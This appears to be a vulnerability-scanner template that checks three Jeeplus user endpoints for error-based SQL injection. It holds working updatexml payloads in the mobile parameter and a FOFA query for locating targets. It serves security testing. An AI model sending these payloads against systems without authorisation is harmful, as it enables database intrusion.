jeeplus-sql-injection: Jeeplus SQL injection

id: jeeplus-sql-injection

info:
  name: Jeeplus SQL injection
  author: lsqm
  severity: high
  verified: true
  description: |
    FOFA: app="Jeeplus"
  reference:
    - https://www.freebuf.com/articles/web/220066.html
  tags: jeeplus,sqli
  created: 2023/06/25

rules:
  r0:
    request:
      method: GET
      path: /a/sys/user/resetPassword?mobile=13588888888%27and%20(updatexml(1,concat(0x7e,(select%20md5(73648273)),0x7e),1))%23
    expression: |
      response.status == 500 &&
      response.body.bcontains(b"8f944ae2aec88be6a997e2c77b1a3f4")
  r1:
    request:
      method: GET
      path: /a/sys/user/validateMobileExist?mobile=13588888888%27and%20(updatexml(1,concat(0x7e,(select%20md5(73648273)),0x7e),1))%23
    expression: |
      response.status == 500 &&
      response.body.bcontains(b"8f944ae2aec88be6a997e2c77b1a3f4")
  r2:
    request:
      method: GET
      path: /a/sys/user/validateMobile?mobile=13588888888%27and%20(updatexml(1,concat(0x7e,(select%20md5(73648273)),0x7e),1))%23
    expression: |
      response.status == 500 &&
      response.body.bcontains(b"8f944ae2aec88be6a997e2c77b1a3f4")
expression: r0() || r1() || r2()